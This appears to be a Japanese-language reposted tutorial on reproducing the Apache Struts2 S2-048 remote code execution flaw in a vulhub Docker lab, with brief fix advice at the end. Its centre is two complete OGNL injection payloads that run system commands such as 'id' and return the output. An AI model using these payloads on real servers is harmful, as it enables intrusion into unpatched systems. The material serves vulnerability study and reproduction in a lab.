ホームページ  >  記事  >  運用・保守  >  Apache Struts2--048 リモート コード実行の脆弱性を再現する方法

Apache Struts2--048 リモート コード実行の脆弱性を再現する方法

WBOY
WBOY転載
2023-05-12 19:43:101554ブラウズ

0x00はじめに

Struts2 フレームワークは、Java EE Web アプリケーションを開発するためのオープンソース Web アプリケーション アーキテクチャです。 Java Servlet API を利用および拡張し、開発者が MVC アーキテクチャを採用することを奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。

0x01 脆弱性の概要

Apache Struts2 2.3.x シリーズでは、struts2-struts1-plugin プラグインが有効になっており、struts2-showcase ディレクトリが存在することが、ActionMessage が顧客が制御可能なパラメーター データを受信するときに発生します。後続のデータ スプライシングが渡される 不適切な後処理により、任意のコードが実行される

0x02 影響範囲

struts2-struts1-plugin プラグインが有効になっている Apache Struts 2.3.x シリーズのバージョン。

0x03環境構築

1. Apache Struts2を自前で構築する場合は、vulhubのdocker環境を利用して構築します。

ダウンロードアドレス: https://github.com/vulhub/vulhub

2. ダウンロード後、解凍して s2-048 ディレクトリに入り、脆弱性環境を起動します

cd cd vulhub-master/struts2/s2-048/ //ディレクトリを入力します

怎么进行Apache Struts2--048远程代码执行漏洞复现

docker-compose up -d //射撃場を開始します

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. docker psを使用して起動が成功したかどうかを確認します

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. http:your-を入力します。ブラウザの .action で ip:8080/hello、次のページ環境が設定されていることを確認します

怎么进行Apache Struts2--048远程代码执行漏洞复现

0x04 脆弱性の再発

1 ブラウザに次のリンクを入力して、脆弱性ページにアクセスします

http ://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. 最初のフォーム「Gangster Name」に ${1+1} と入力し、送信をクリックして実行された OGNL を表示します。式

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

2.「Gangster Name」で、${1+1} を次のコマンドで実行されるペイロード ステートメントに変更します

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)。(# _memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl. OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames() .clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@ org.apache.commons.io.IOUtils@toString(@ java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3 Burp を使用してパケットをキャプチャし、コマンド実行用のペイロードに変更することもできます

注: ペイロードは URL エンコードする必要があります

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess) ?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil) @class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe) ','/c',#cmd}:{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p. redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons. io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. 自動スクリプトまたはグラフィカル ツールを使用して実装できますが、ここでは説明しません。

ツールはGitHubで検索してダウンロードできます

0x05の修復提案

1. アップグレード最新バージョンにアップグレードすることをお勧めします

2. ビジネスの状況に応じて、struts-2.3を無効にして閉じる(削除)します。 .xappsstruts2-showcase.war パッケージ

以上がApache Struts2--048 リモート コード実行の脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。